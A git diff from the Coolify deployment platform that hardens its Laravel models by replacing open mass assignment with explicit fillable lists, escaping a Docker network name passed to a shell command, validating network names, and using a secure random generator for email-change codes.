'is_system_wide', + 'is_public', + 'app_id', + 'app_secret', + 'oauth_id', + 'group_name', + 'public_key', + 'webhook_token', + 'deploy_key_id', + ]; + protected $hidden = [ 'webhook_token', 'app_secret', diff --git a/app/Models/InstanceSettings.php b/app/Models/InstanceSettings.php index ccc361d67..6061bc863 100644 --- a/app/Models/InstanceSettings.php +++ b/app/Models/InstanceSettings.php @@ -9,7 +9,43 @@ class InstanceSettings extends Model { - protected $guarded = []; + protected $fillable = [ + 'public_ipv4', + 'public_ipv6', + 'fqdn', + 'public_port_min', + 'public_port_max', + 'do_not_track', + 'is_auto_update_enabled', + 'is_registration_enabled', + 'next_channel', + 'smtp_enabled', + 'smtp_from_address', + 'smtp_from_name', + 'smtp_recipients', + 'smtp_host', + 'smtp_port', + 'smtp_encryption', + 'smtp_username', + 'smtp_password', + 'smtp_timeout', + 'resend_enabled', + 'resend_api_key', + 'is_dns_validation_enabled', + 'custom_dns_servers', + 'instance_name', + 'is_api_enabled', + 'allowed_ips', + 'auto_update_frequency', + 'update_check_frequency', + 'new_version_available', + 'instance_timezone', + 'helper_version', + 'disable_two_step_confirmation', + 'is_sponsorship_popup_enabled', + 'dev_helper_version', + 'is_wire_navigate_enabled', + ]; protected $casts = [ 'smtp_enabled' => 'boolean', diff --git a/app/Models/LocalFileVolume.php b/app/Models/LocalFileVolume.php index b954a1dd5..4b5c602c2 100644 --- a/app/Models/LocalFileVolume.php +++ b/app/Models/LocalFileVolume.php @@ -20,7 +20,18 @@ class LocalFileVolume extends BaseModel use HasFactory; - protected $guarded = []; + protected $fillable = [ + 'fs_path', + 'mount_path', + 'content', + 'resource_type', + 'resource_id', + 'is_directory', + 'chown', + 'chmod', + 'is_based_on_git', + 'is_preview_suffix_enabled', + ]; public $appends = ['is_binary']; diff --git a/app/Models/LocalPersistentVolume.php b/app/Models/LocalPersistentVolume.php index 9d539f8ec..2f0f482b0 100644 --- a/app/Models/LocalPersistentVolume.php +++ b/app/Models/LocalPersistentVolume.php @@ -7,7 +7,15 @@ class LocalPersistentVolume extends BaseModel { - protected $guarded = []; + protected $fillable = [ + 'name', + 'mount_path', + 'host_path', + 'container_id', + 'resource_type', + 'resource_id', + 'is_preview_suffix_enabled', + ]; protected $casts = [ 'is_preview_suffix_enabled' => 'boolean', diff --git a/app/Models/Project.php b/app/Models/Project.php index ed1b415c1..ff2cae041 100644 --- a/app/Models/Project.php +++ b/app/Models/Project.php @@ -24,7 +24,10 @@ class Project extends BaseModel use HasFactory; use HasSafeStringAttribute; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + ]; /** * Get query builder for projects owned by current team. @@ -48,10 +51,10 @@ public static function ownedByCurrentTeamCached() protected static function booted() { static::created(function ($project) { - ProjectSetting::create([ + ProjectSetting::forceCreate([ 'project_id' => $project->id, ]); - Environment::create([ + Environment::forceCreate([ 'name' => 'production', 'project_id' => $project->id, 'uuid' => (string) new Cuid2, diff --git a/app/Models/ProjectSetting.php b/app/Models/ProjectSetting.php index d93bea05b..7ea17ba7a 100644 --- a/app/Models/ProjectSetting.php +++ b/app/Models/ProjectSetting.php @@ -6,7 +6,7 @@ class ProjectSetting extends Model { - protected $guarded = []; + protected $fillable = []; public function project() { diff --git a/app/Models/PushoverNotificationSettings.php b/app/Models/PushoverNotificationSettings.php index 189d05dd4..5ad617ad6 100644 --- a/app/Models/PushoverNotificationSettings.php +++ b/app/Models/PushoverNotificationSettings.php @@ -25,7 +25,8 @@ class PushoverNotificationSettings extends Model 'backup_failure_pushover_notifications', 'scheduled_task_success_pushover_notifications', 'scheduled_task_failure_pushover_notifications', - 'docker_cleanup_pushover_notifications', + 'docker_cleanup_success_pushover_notifications', + 'docker_cleanup_failure_pushover_notifications', 'server_disk_usage_pushover_notifications', 'server_reachable_pushover_notifications', 'server_unreachable_pushover_notifications', diff --git a/app/Models/S3Storage.php b/app/Models/S3Storage.php index f395a065c..d6feccc7e 100644 --- a/app/Models/S3Storage.php +++ b/app/Models/S3Storage.php @@ -12,7 +12,17 @@ class S3Storage extends BaseModel { use HasFactory, HasSafeStringAttribute; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'region', + 'key', + 'secret', + 'bucket', + 'endpoint', + 'is_usable', + 'unusable_email_sent', + ]; protected $casts = [ 'is_usable' => 'boolean', diff --git a/app/Models/ScheduledDatabaseBackup.php b/app/Models/ScheduledDatabaseBackup.php index 3ade21df8..c6aed863d 100644 --- a/app/Models/ScheduledDatabaseBackup.php +++ b/app/Models/ScheduledDatabaseBackup.php @@ -8,7 +8,25 @@ class ScheduledDatabaseBackup extends BaseModel { - protected $guarded = []; + protected $fillable = [ + 'description', + 'enabled', + 'save_s3', + 'frequency', + 'database_backup_retention_amount_locally', + 'database_type', + 'database_id', + 's3_storage_id', + 'databases_to_backup', + 'dump_all', + 'database_backup_retention_days_locally', + 'database_backup_retention_max_storage_locally', + 'database_backup_retention_amount_s3', + 'database_backup_retention_days_s3', + 'database_backup_retention_max_storage_s3', + 'timeout', + 'disable_local_backup', + ]; public static function ownedByCurrentTeam() { diff --git a/app/Models/ScheduledDatabaseBackupExecution.php b/app/Models/ScheduledDatabaseBackupExecution.php index c0298ecc8..f1f6e88b5 100644 --- a/app/Models/ScheduledDatabaseBackupExecution.php +++ b/app/Models/ScheduledDatabaseBackupExecution.php @@ -6,7 +6,17 @@ class ScheduledDatabaseBackupExecution extends BaseModel { - protected $guarded = []; + protected $fillable = [ + 'status', + 'message', + 'size', + 'filename', + 'database_name', + 'finished_at', + 'local_storage_deleted', + 's3_storage_deleted', + 's3_uploaded', + ]; protected function casts(): array { diff --git a/app/Models/ScheduledTask.php b/app/Models/ScheduledTask.php index e771ce31e..e76f1b7b9 100644 --- a/app/Models/ScheduledTask.php +++ b/app/Models/ScheduledTask.php @@ -29,7 +29,14 @@ class ScheduledTask extends BaseModel use HasFactory; use HasSafeStringAttribute; - protected $guarded = []; + protected $fillable = [ + 'enabled', + 'name', + 'command', + 'frequency', + 'container', + 'timeout', + ]; public static function ownedByCurrentTeamAPI(int $teamId) { diff --git a/app/Models/ScheduledTaskExecution.php b/app/Models/ScheduledTaskExecution.php index c0601a4c9..dd74ba2e0 100644 --- a/app/Models/ScheduledTaskExecution.php +++ b/app/Models/ScheduledTaskExecution.php @@ -22,7 +22,15 @@ )] class ScheduledTaskExecution extends BaseModel { - protected $guarded = []; + protected $fillable = [ + 'status', + 'message', + 'finished_at', + 'started_at', + 'retry_count', + 'duration', + 'error_details', + ]; protected function casts(): array { diff --git a/app/Models/Server.php b/app/Models/Server.php index 9237763c8..427896a19 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -34,6 +34,7 @@ use Spatie\SchemalessAttributes\Casts\SchemalessAttributes; use Spatie\SchemalessAttributes\SchemalessAttributesTrait; use Spatie\Url\Url; +use Stevebauman\Purify\Facades\Purify; use Symfony\Component\Yaml\Yaml; use Visus\Cuid2\Cuid2; @@ -142,19 +143,19 @@ protected static function booted() } }); static::created(function ($server) { - ServerSetting::create([ + ServerSetting::forceCreate([ 'server_id' => $server->id, ]); if ($server->id === 0) { if ($server->isSwarm()) { - SwarmDocker::create([ + SwarmDocker::forceCreate([ 'id' => 0, 'name' => 'coolify', 'network' => 'coolify-overlay', 'server_id' => $server->id, ]); } else { - StandaloneDocker::create([ + StandaloneDocker::forceCreate([ 'id' => 0, 'name' => 'coolify', 'network' => 'coolify', @@ -163,13 +164,14 @@ protected static function booted() } } else { if ($server->isSwarm()) { - SwarmDocker::create([ + SwarmDocker::forceCreate([ 'name' => 'coolify-overlay', 'network' => 'coolify-overlay', 'server_id' => $server->id, ]); } else { - $standaloneDocker = new StandaloneDocker([ + $standaloneDocker = new StandaloneDocker; + $standaloneDocker->forceFill([ 'name' => 'coolify', 'uuid' => (string) new Cuid2, 'network' => 'coolify', @@ -265,10 +267,15 @@ public static function flushIdentityMap(): void 'server_metadata', ]; - protected $guarded = []; - use HasSafeStringAttribute; + public function setValidationLogsAttribute($value): void + { + $this->attributes['validation_logs'] = $value !== null + ? Purify::config('validation_logs')->clean($value) + : null; + } + public function type() { return 'server'; diff --git a/app/Models/ServerSetting.php b/app/Models/ServerSetting.php index 504cfa60a..d34f2c86b 100644 --- a/app/Models/ServerSetting.php +++ b/app/Models/ServerSetting.php @@ -53,9 +53,53 @@ )] class ServerSetting extends Model { - protected $guarded = []; + protected $fillable = [ + 'is_swarm_manager', + 'is_jump_server', + 'is_build_server', + 'is_reachable', + 'is_usable', + 'wildcard_domain', + 'is_cloudflare_tunnel', + 'is_logdrain_newrelic_enabled', + 'logdrain_newrelic_license_key', + 'logdrain_newrelic_base_uri', + 'is_logdrain_highlight_enabled', + 'logdrain_highlight_project_id', + 'is_logdrain_axiom_enabled', + 'logdrain_axiom_dataset_name', + 'logdrain_axiom_api_key', + 'is_swarm_worker', + 'is_logdrain_custom_enabled', + 'logdrain_custom_config', + 'logdrain_custom_config_parser', + 'concurrent_builds', + 'dynamic_timeout', + 'force_disabled', + 'is_metrics_enabled', + 'generate_exact_labels', + 'force_docker_cleanup', + 'docker_cleanup_frequency', + 'docker_cleanup_threshold', + 'server_timezone', + 'delete_unused_volumes', + 'delete_unused_networks', + 'is_sentinel_enabled', + 'sentinel_token', + 'sentinel_metrics_refresh_rate_seconds', + 'sentinel_metrics_history_days', + 'sentinel_push_interval_seconds', + 'sentinel_custom_url', + 'server_disk_usage_notification_threshold', + 'is_sentinel_debug_enabled', + 'server_disk_usage_check_frequency', + 'is_terminal_enabled', + 'deployment_queue_limit', + 'disable_application_image_retention', + ]; protected $casts = [ + 'force_disabled' => 'boolean', 'force_docker_cleanup' => 'boolean', 'docker_cleanup_threshold' => 'integer', 'sentinel_token' => 'encrypted', diff --git a/app/Models/Service.php b/app/Models/Service.php index 84c047bb7..491924c49 100644 --- a/app/Models/Service.php +++ b/app/Models/Service.php @@ -15,6 +15,7 @@ use OpenApi\Attributes as OA; use Spatie\Activitylog\Models\Activity; use Spatie\Url\Url; +use Symfony\Component\Yaml\Yaml; use Visus\Cuid2\Cuid2; #[OA\Schema( @@ -47,7 +48,17 @@ class Service extends BaseModel private static $parserVersion = '5'; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'docker_compose_raw', + 'docker_compose', + 'connect_to_docker_network', + 'service_type', + 'config_hash', + 'compose_parsing_version', + 'is_container_label_escape_enabled', + ]; protected $appends = ['server_status', 'status']; @@ -1552,7 +1563,7 @@ public function saveComposeConfigs() // Generate SERVICE_NAME_* environment variables from docker-compose services if ($this->docker_compose) { try { - $dockerCompose = \Symfony\Component\Yaml\Yaml::parse($this->docker_compose); + $dockerCompose = Yaml::parse($this->docker_compose); $services = data_get($dockerCompose, 'services', []); foreach ($services as $serviceName => $_) { $envs->push('SERVICE_NAME_'.str($serviceName)->replace('-', '_')->replace('.', '_')->upper().'='.$serviceName); diff --git a/app/Models/ServiceApplication.php b/app/Models/ServiceApplication.php index 4bf78085e..e608c202d 100644 --- a/app/Models/ServiceApplication.php +++ b/app/Models/ServiceApplication.php @@ -5,12 +5,30 @@ use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\SoftDeletes; +use Symfony\Component\Yaml\Yaml; class ServiceApplication extends BaseModel { use HasFactory, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'human_name', + 'description', + 'fqdn', + 'ports', + 'exposes', + 'status', + 'exclude_from_status', + 'required_fqdn', + 'image', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'is_gzip_enabled', + 'is_stripprefix_enabled', + 'last_online_at', + 'is_migrated', + ]; protected static function booted() { @@ -211,7 +229,7 @@ public function getRequiredPort(): ?int return $this->service->getRequiredPort(); } - $dockerCompose = \Symfony\Component\Yaml\Yaml::parse($dockerComposeRaw); + $dockerCompose = Yaml::parse($dockerComposeRaw); $serviceConfig = data_get($dockerCompose, "services.{$this->name}"); if (! $serviceConfig) { return $this->service->getRequiredPort(); diff --git a/app/Models/ServiceDatabase.php b/app/Models/ServiceDatabase.php index c6a0143a8..e5b28d929 100644 --- a/app/Models/ServiceDatabase.php +++ b/app/Models/ServiceDatabase.php @@ -9,7 +9,27 @@ class ServiceDatabase extends BaseModel { use HasFactory, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'human_name', + 'description', + 'fqdn', + 'ports', + 'exposes', + 'status', + 'exclude_from_status', + 'image', + 'public_port', + 'is_public', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'is_gzip_enabled', + 'is_stripprefix_enabled', + 'last_online_at', + 'is_migrated', + 'custom_type', + 'public_port_timeout', + ]; protected $casts = [ 'public_port_timeout' => 'integer', diff --git a/app/Models/SharedEnvironmentVariable.php b/app/Models/SharedEnvironmentVariable.php index 9bd42c328..158140b12 100644 --- a/app/Models/SharedEnvironmentVariable.php +++ b/app/Models/SharedEnvironmentVariable.php @@ -22,6 +22,9 @@ class SharedEnvironmentVariable extends Model 'is_multiline', 'is_literal', 'is_shown_once', + + // Metadata + 'version', ]; protected $casts = [ diff --git a/app/Models/SlackNotificationSettings.php b/app/Models/SlackNotificationSettings.php index 128b25221..d4f125fb5 100644 --- a/app/Models/SlackNotificationSettings.php +++ b/app/Models/SlackNotificationSettings.php @@ -24,7 +24,8 @@ class SlackNotificationSettings extends Model 'backup_failure_slack_notifications', 'scheduled_task_success_slack_notifications', 'scheduled_task_failure_slack_notifications', - 'docker_cleanup_slack_notifications', + 'docker_cleanup_success_slack_notifications', + 'docker_cleanup_failure_slack_notifications', 'server_disk_usage_slack_notifications', 'server_reachable_slack_notifications', 'server_unreachable_slack_notifications', diff --git a/app/Models/StandaloneClickhouse.php b/app/Models/StandaloneClickhouse.php index 143aadb6a..c6d91dd55 100644 --- a/app/Models/StandaloneClickhouse.php +++ b/app/Models/StandaloneClickhouse.php @@ -13,12 +13,39 @@ class StandaloneClickhouse extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'clickhouse_admin_user', + 'clickhouse_admin_password', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + 'public_port_timeout', + 'custom_docker_run_options', + 'clickhouse_db', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; protected $casts = [ - 'clickhouse_password' => 'encrypted', + 'clickhouse_admin_password' => 'encrypted', 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', diff --git a/app/Models/StandaloneDocker.php b/app/Models/StandaloneDocker.php index 0407c2255..09dae022b 100644 --- a/app/Models/StandaloneDocker.php +++ b/app/Models/StandaloneDocker.php @@ -3,6 +3,7 @@ namespace App\Models; use App\Jobs\ConnectProxyToNetworksJob; +use App\Support\ValidationPatterns; use App\Traits\HasSafeStringAttribute; use Illuminate\Database\Eloquent\Factories\HasFactory; @@ -11,20 +12,33 @@ class StandaloneDocker extends BaseModel use HasFactory; use HasSafeStringAttribute; - protected $guarded = []; + protected $fillable = [ + 'name', + 'network', + ]; protected static function boot() { parent::boot(); static::created(function ($newStandaloneDocker) { $server = $newStandaloneDocker->server; + $safeNetwork = escapeshellarg($newStandaloneDocker->network); instant_remote_process([ - "docker network inspect $newStandaloneDocker->network >/dev/null 2>&1 || docker network create --driver overlay --attachable $newStandaloneDocker->network >/dev/null", + "docker network inspect {$safeNetwork} >/dev/null 2>&1 || docker network create --driver overlay --attachable {$safeNetwork} >/dev/null", ], $server, false); ConnectProxyToNetworksJob::dispatchSync($server); }); } + public function setNetworkAttribute(string $value): void + { + if (! ValidationPatterns::isValidDockerNetwork($value)) { + throw new \InvalidArgumentException('Invalid Docker network name. Must start with alphanumeric and contain only alphanumeric characters, dots, hyphens, and underscores.'); + } + + $this->attributes['network'] = $value; + } + public function applications() { return $this->morphMany(Application::class, 'destination'); diff --git a/app/Models/StandaloneDragonfly.php b/app/Models/StandaloneDragonfly.php index c823c305b..af309f980 100644 --- a/app/Models/StandaloneDragonfly.php +++ b/app/Models/StandaloneDragonfly.php @@ -13,7 +13,33 @@ class StandaloneDragonfly extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'dragonfly_password', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'custom_docker_run_options', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandaloneKeydb.php b/app/Models/StandaloneKeydb.php index f286e8538..ee07b4783 100644 --- a/app/Models/StandaloneKeydb.php +++ b/app/Models/StandaloneKeydb.php @@ -13,7 +13,34 @@ class StandaloneKeydb extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'keydb_password', + 'keydb_conf', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'custom_docker_run_options', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'server_status']; diff --git a/app/Models/StandaloneMariadb.php b/app/Models/StandaloneMariadb.php index efa62353c..ad5220496 100644 --- a/app/Models/StandaloneMariadb.php +++ b/app/Models/StandaloneMariadb.php @@ -14,7 +14,36 @@ class StandaloneMariadb extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'mariadb_root_password', + 'mariadb_user', + 'mariadb_password', + 'mariadb_database', + 'mariadb_conf', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'is_log_drain_enabled', + 'custom_docker_run_options', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandaloneMongodb.php b/app/Models/StandaloneMongodb.php index 9418ebc21..590c173e1 100644 --- a/app/Models/StandaloneMongodb.php +++ b/app/Models/StandaloneMongodb.php @@ -13,7 +13,37 @@ class StandaloneMongodb extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'mongo_conf', + 'mongo_initdb_root_username', + 'mongo_initdb_root_password', + 'mongo_initdb_database', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'ssl_mode', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'custom_docker_run_options', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandaloneMysql.php b/app/Models/StandaloneMysql.php index 2b7e9f2b6..d991617b7 100644 --- a/app/Models/StandaloneMysql.php +++ b/app/Models/StandaloneMysql.php @@ -13,7 +13,38 @@ class StandaloneMysql extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'mysql_root_password', + 'mysql_user', + 'mysql_password', + 'mysql_database', + 'mysql_conf', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'ssl_mode', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'custom_docker_run_options', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandalonePostgresql.php b/app/Models/StandalonePostgresql.php index cea600236..71034427f 100644 --- a/app/Models/StandalonePostgresql.php +++ b/app/Models/StandalonePostgresql.php @@ -13,7 +13,40 @@ class StandalonePostgresql extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'postgres_user', + 'postgres_password', + 'postgres_db', + 'postgres_initdb_args', + 'postgres_host_auth_method', + 'postgres_conf', + 'init_scripts', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'ssl_mode', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'custom_docker_run_options', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandaloneRedis.php b/app/Models/StandaloneRedis.php index 0e904ab31..4eb28e038 100644 --- a/app/Models/StandaloneRedis.php +++ b/app/Models/StandaloneRedis.php @@ -13,7 +13,33 @@ class StandaloneRedis extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'redis_conf', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'custom_docker_run_options', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/Subscription.php b/app/Models/Subscription.php index 69d7cbf0d..fa135b29f 100644 --- a/app/Models/Subscription.php +++ b/app/Models/Subscription.php @@ -6,7 +6,18 @@ class Subscription extends Model { - protected $guarded = []; + protected $fillable = [ + 'stripe_invoice_paid', + 'stripe_subscription_id', + 'stripe_customer_id', + 'stripe_cancel_at_period_end', + 'stripe_plan_id', + 'stripe_feedback', + 'stripe_comment', + 'stripe_trial_already_ended', + 'stripe_past_due', + 'stripe_refunded_at', + ]; protected function casts(): array { diff --git a/app/Models/SwarmDocker.php b/app/Models/SwarmDocker.php index 08be81970..656749119 100644 --- a/app/Models/SwarmDocker.php +++ b/app/Models/SwarmDocker.php @@ -2,9 +2,23 @@ namespace App\Models; +use App\Support\ValidationPatterns; + class SwarmDocker extends BaseModel { - protected $guarded = []; + protected $fillable = [ + 'name', + 'network', + ]; + + public function setNetworkAttribute(string $value): void + { + if (! ValidationPatterns::isValidDockerNetwork($value)) { + throw new \InvalidArgumentException('Invalid Docker network name. Must start with alphanumeric and contain only alphanumeric characters, dots, hyphens, and underscores.'); + } + + $this->attributes['network'] = $value; + } public function applications() { diff --git a/app/Models/Tag.php b/app/Models/Tag.php index 3594d1072..9ee58cf7d 100644 --- a/app/Models/Tag.php +++ b/app/Models/Tag.php @@ -8,7 +8,9 @@ class Tag extends BaseModel { use HasSafeStringAttribute; - protected $guarded = []; + protected $fillable = [ + 'name', + ]; protected function customizeName($value) { diff --git a/app/Models/Team.php b/app/Models/Team.php index 5a7b377b6..8eb8fa050 100644 --- a/app/Models/Team.php +++ b/app/Models/Team.php @@ -40,7 +40,13 @@ class Team extends Model implements SendsDiscord, SendsEmail, SendsPushover, Sen { use HasFactory, HasNotificationSettings, HasSafeStringAttribute, Notifiable; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'personal_team', + 'show_boarding', + 'custom_server_limit', + ]; protected $casts = [ 'personal_team' => 'boolean', diff --git a/app/Models/TelegramNotificationSettings.php b/app/Models/TelegramNotificationSettings.php index 73889910e..4930f45d4 100644 --- a/app/Models/TelegramNotificationSettings.php +++ b/app/Models/TelegramNotificationSettings.php @@ -25,7 +25,8 @@ class TelegramNotificationSettings extends Model 'backup_failure_telegram_notifications', 'scheduled_task_success_telegram_notifications', 'scheduled_task_failure_telegram_notifications', - 'docker_cleanup_telegram_notifications', + 'docker_cleanup_success_telegram_notifications', + 'docker_cleanup_failure_telegram_notifications', 'server_disk_usage_telegram_notifications', 'server_reachable_telegram_notifications', 'server_unreachable_telegram_notifications', @@ -39,7 +40,8 @@ class TelegramNotificationSettings extends Model 'telegram_notifications_backup_failure_thread_id', 'telegram_notifications_scheduled_task_success_thread_id', 'telegram_notifications_scheduled_task_failure_thread_id', - 'telegram_notifications_docker_cleanup_thread_id', + 'telegram_notifications_docker_cleanup_success_thread_id', + 'telegram_notifications_docker_cleanup_failure_thread_id', 'telegram_notifications_server_disk_usage_thread_id', 'telegram_notifications_server_reachable_thread_id', 'telegram_notifications_server_unreachable_thread_id', diff --git a/app/Models/User.php b/app/Models/User.php index 4561cddb2..ad9a7af31 100644 --- a/app/Models/User.php +++ b/app/Models/User.php @@ -4,7 +4,9 @@ use App\Jobs\UpdateStripeCustomerEmailJob; use App\Notifications\Channels\SendsEmail; +use App\Notifications\TransactionalEmails\EmailChangeVerification; use App\Notifications\TransactionalEmails\ResetPassword as TransactionalEmailsResetPassword; +use App\Services\ChangelogService; use App\Traits\DeletesUserSessions; use DateTimeInterface; use Illuminate\Database\Eloquent\Factories\HasFactory; @@ -41,7 +43,13 @@ class User extends Authenticatable implements SendsEmail { use DeletesUserSessions, HasApiTokens, HasFactory, Notifiable, TwoFactorAuthenticatable; - protected $guarded = []; + protected $fillable = [ + 'name', + 'email', + 'password', + 'force_password_reset', + 'marketing_emails', + ]; protected $hidden = [ 'password', @@ -87,7 +95,7 @@ protected static function boot() $team['id'] = 0; $team['name'] = 'Root Team'; } - $new_team = Team::create($team); + $new_team = Team::forceCreate($team); $user->teams()->attach($new_team, ['role' => 'owner']); }); @@ -190,7 +198,7 @@ public function recreate_personal_team() $team['id'] = 0; $team['name'] = 'Root Team'; } - $new_team = Team::create($team); + $new_team = Team::forceCreate($team); $this->teams()->attach($new_team, ['role' => 'owner']); return $new_team; @@ -228,7 +236,7 @@ public function changelogReads() public function getUnreadChangelogCount(): int { - return app(\App\Services\ChangelogService::class)->getUnreadCountForUser($this); + return app(ChangelogService::class)->getUnreadCountForUser($this); } public function getRecipients(): array @@ -239,7 +247,7 @@ public function getRecipients(): array public function sendVerificationEmail() { $mail = new MailMessage; - $url = Url::temporarySignedRoute( + $url = URL::temporarySignedRoute( 'verify.verify', Carbon::now()->addMinutes(Config::get('auth.verification.expire', 60)), [ @@ -395,20 +403,20 @@ public function canAccessSystemResources(): bool public function requestEmailChange(string $newEmail): void { // Generate 6-digit code - $code = sprintf('%06d', mt_rand(0, 999999)); + $code = sprintf('%06d', random_int(0, 999999)); // Set expiration using config value $expiryMinutes = config('constants.email_change.verification_code_expiry_minutes', 10); $expiresAt = Carbon::now()->addMinutes($expiryMinutes); - $this->update([ + $this->forceFill([ 'pending_email' => $newEmail, 'email_change_code' => $code, 'email_change_code_expires_at' => $expiresAt, - ]); + ])->save(); // Send verification email to new address - $this->notify(new \App\Notifications\TransactionalEmails\EmailChangeVerification($this, $code, $newEmail, $expiresAt)); + $this->notify(new EmailChangeVerification($this, $code, $newEmail, $expiresAt)); } public function isEmailChangeCodeValid(string $code): bool diff --git a/app/Notifications/Server/ForceDisabled.php b/app/Notifications/Server/ForceDisabled.php index 7a1f7bcbf..4b56f5860 100644 --- a/app/Notifications/Server/ForceDisabled.php +++ b/app/Notifications/Server/ForceDisabled.php @@ -40,7 +40,7 @@ public function toDiscord(): DiscordMessage color: DiscordMessage::errorColor(), ); - $message->addField('Please update your subscription to enable the server again!', '[Link](https://app.coolify.io/subscriptions)'); + $message->addField('Please update your subscription to enable the server again!', '[Link](https://app.coolify.io/subscription)'); return $message; } @@ -48,7 +48,7 @@ public function toDiscord(): DiscordMessage public function toTelegram(): array { return [ - 'message' => "Coolify: Server ({$this->server->name}) disabled because it is not paid!\n All automations and integrations are stopped.\nPlease update your subscription to enable the server again [here](https://app.coolify.io/subscriptions).", + 'message' => "Coolify: Server ({$this->server->name}) disabled because it is not paid!\n All automations and integrations are stopped.\nPlease update your subscription to 